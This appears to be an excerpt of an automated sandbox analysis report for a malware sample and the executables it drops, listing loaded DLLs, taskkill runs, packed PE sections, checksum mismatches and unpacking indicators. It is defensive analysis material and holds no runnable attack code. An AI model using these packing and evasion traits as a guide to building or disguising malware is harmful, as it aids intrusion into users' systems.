Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002747001\b0a3006fe7.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\FVJELX1J0WZE21U53029YWO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002748001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002745001\445877ac99.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\I2N109OTNRC1U5QURKF07D4TDEJX.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll

Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2934272 > 1048576

Source: file.exe

Static PE information: Raw size of gaowmbut is bigger than: 0x100000 < 0x2a0a00

Source:	Binary string: my_library.pdbU source: d319b3db9a.exe, 0000000C.00000003.2887185051.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, d319b3db9a.exe, 0000000C.00000002.2941246980.0000000000A4C000.00000040.00000001.01000000.00000010.sdmp, num.exe, 0000001B.00000000.2985012500.0000000000A7C000.00000008.00000001.01000000.00000014.sdmp
Source:	Binary string: my_library.pdb source: d319b3db9a.exe, 0000000C.00000003.2887185051.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, d319b3db9a.exe, 0000000C.00000002.2941246980.0000000000A4C000.00000040.00000001.01000000.00000010.sdmp, num.exe, 0000001B.00000000.2985012500.0000000000A7C000.00000008.00000001.01000000.00000014.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe, 00000004.00000002.2534601157.0000000000962000.00000040.00000001.01000000.00000006.sdmp, Z3WVQPAQZN7WXE31OIKO79M3XY.exe, 00000004.00000003.2401457366.0000000005210000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\Z3WVQPAQZN7WXE31OIKO79M3XY.exe	Unpacked PE file: 4.2.Z3WVQPAQZN7WXE31OIKO79M3XY.exe.960000.0.unpack :EW;.rsrc:W;.idata :W;pgootnwq:EW;rqqmfceu:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\FMQRQQBV70LQ52SA3P6LYU.exe	Unpacked PE file: 5.2.FMQRQQBV70LQ52SA3P6LYU.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tfbezuor:EW;idqqmftg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tfbezuor:EW;idqqmftg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.7e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tfbezuor:EW;idqqmftg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tfbezuor:EW;idqqmftg:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Unpacked PE file: 12.2.d319b3db9a.exe.a20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wcxkxkso:EW;cmdlgkqi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wcxkxkso:EW;cmdlgkqi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002746001\d319b3db9a.exe	Unpacked PE file: 32.2.d319b3db9a.exe.a20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wcxkxkso:EW;cmdlgkqi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wcxkxkso:EW;cmdlgkqi:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\XNXDGT6D647USNMWPLK.exe	Unpacked PE file: 38.2.XNXDGT6D647USNMWPLK.exe.ef0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tfbezuor:EW;idqqmftg:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tfbezuor:EW;idqqmftg:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: hostname[1].exe.8.dr, Request.cs	.Net Code: EnableProduct System.Reflection.Assembly.Load(byte[])
Source: hostname.exe.8.dr, Request.cs	.Net Code: EnableProduct System.Reflection.Assembly.Load(byte[])

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: real checksum: 0x1e4d96 should be: 0x1d68f9
Source: num.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: d319b3db9a.exe.8.dr	Static PE information: real checksum: 0x205991 should be: 0x20be48
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: real checksum: 0x1e4d96 should be: 0x1d68f9
Source: random[1].exe.8.dr	Static PE information: real checksum: 0x2d3232 should be: 0x2d76db
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: real checksum: 0x1e4d96 should be: 0x1d68f9
Source: hostname.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x6ecee
Source: hostname[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x6ecee
Source: 445877ac99.exe.8.dr	Static PE information: real checksum: 0x2d3232 should be: 0x2d76db
Source: skotes.exe.5.dr	Static PE information: real checksum: 0x1e4d96 should be: 0x1d68f9
Source: random[1].exe0.8.dr	Static PE information: real checksum: 0x205991 should be: 0x20be48
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: real checksum: 0x2b988f should be: 0x2b669b
Source: file.exe	Static PE information: real checksum: 0x2d3232 should be: 0x2d76db
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: real checksum: 0x2b988f should be: 0x2b669b
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: real checksum: 0x2b988f should be: 0x2b669b
Source: num[1].exe.8.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: gaowmbut
Source: file.exe	Static PE information: section name: bznrpeau
Source: file.exe	Static PE information: section name: .taggant
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name:
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name: .idata
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name: pgootnwq
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name: rqqmfceu
Source: Z3WVQPAQZN7WXE31OIKO79M3XY.exe.1.dr	Static PE information: section name: .taggant
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name:
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name: .idata
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name:
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name: tfbezuor
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name: idqqmftg
Source: FMQRQQBV70LQ52SA3P6LYU.exe.1.dr	Static PE information: section name: .taggant
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.5.dr	Static PE information: section name:
Source: skotes.exe.5.dr	Static PE information: section name: tfbezuor
Source: skotes.exe.5.dr	Static PE information: section name: idqqmftg
Source: skotes.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name: gaowmbut
Source: random[1].exe.8.dr	Static PE information: section name: bznrpeau
Source: random[1].exe.8.dr	Static PE information: section name: .taggant
Source: 445877ac99.exe.8.dr	Static PE information: section name:
Source: 445877ac99.exe.8.dr	Static PE information: section name: .idata
Source: 445877ac99.exe.8.dr	Static PE information: section name: gaowmbut
Source: 445877ac99.exe.8.dr	Static PE information: section name: bznrpeau
Source: 445877ac99.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: wcxkxkso
Source: random[1].exe0.8.dr	Static PE information: section name: cmdlgkqi
Source: random[1].exe0.8.dr	Static PE information: section name: .taggant
Source: d319b3db9a.exe.8.dr	Static PE information: section name:
Source: d319b3db9a.exe.8.dr	Static PE information: section name: .rsrc
Source: d319b3db9a.exe.8.dr	Static PE information: section name: .idata
Source: d319b3db9a.exe.8.dr	Static PE information: section name:
Source: d319b3db9a.exe.8.dr	Static PE information: section name: wcxkxkso
Source: d319b3db9a.exe.8.dr	Static PE information: section name: cmdlgkqi
Source: d319b3db9a.exe.8.dr	Static PE information: section name: .taggant
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name:
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name: .idata
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name: pgootnwq
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name: rqqmfceu
Source: FVJELX1J0WZE21U53029YWO.exe.11.dr	Static PE information: section name: .taggant
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name:
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name: .idata
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name:
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name: tfbezuor
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name: idqqmftg
Source: XNXDGT6D647USNMWPLK.exe.11.dr	Static PE information: section name: .taggant
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name:
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name: .idata
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name: pgootnwq
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name: rqqmfceu
Source: I2N109OTNRC1U5QURKF07D4TDEJX.exe.30.dr	Static PE information: section name: .taggant
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name:
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name: .idata
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name:
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name: tfbezuor
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name: idqqmftg
Source: T9ZRQE6U4JYG25WDD1H6CU.exe.30.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCE8DA pushfd ; retf 0000h	1_3_00CCE976
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCE8DA pushfd ; retf 0000h	1_3_00CCE976
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCB8FF push esi; retf	1_3_00CCB902
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCB8FF push esi; retf	1_3_00CCB902
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCEE45 pushfd ; retf 0000h	1_3_00CCEE46
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCEE45 pushfd ; retf 0000h	1_3_00CCEE46
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCD474 push esi; retf	1_3_00CCD477
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCD474 push esi; retf	1_3_00CCD477
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC6C1E push esi; retf	1_3_00CC6C33
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC6C1E push esi; retf	1_3_00CC6C33
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCE8DA pushfd ; retf 0000h	1_3_00CCE976
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCE8DA pushfd ; retf 0000h	1_3_00CCE976
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCB8FF push esi; retf	1_3_00CCB902
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCB8FF push esi; retf	1_3_00CCB902
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCEE45 pushfd ; retf 0000h	1_3_00CCEE46
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCEE45 pushfd ; retf 0000h	1_3_00CCEE46
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCD474 push esi; retf	1_3_00CCD477
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CCD474 push esi; retf	1_3_00CCD477
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC2000 pushfd ; iretd	1_3_00CC2001
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC6C1E push esi; retf	1_3_00CC6C33
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CC6C1E push esi; retf	1_3_00CC6C33
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CC3 pushfd ; iretd	1_3_00CF9CC6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CC3 pushfd ; iretd	1_3_00CF9CC6
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CC1 pushfd ; iretd	1_3_00CF9CC2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CC1 pushfd ; iretd	1_3_00CF9CC2
Source: C:\Users\user\Desktop\file.exe	Code function: 1_3_00CF9CDB pushfd ; iretd	1_3_00CF9CDE
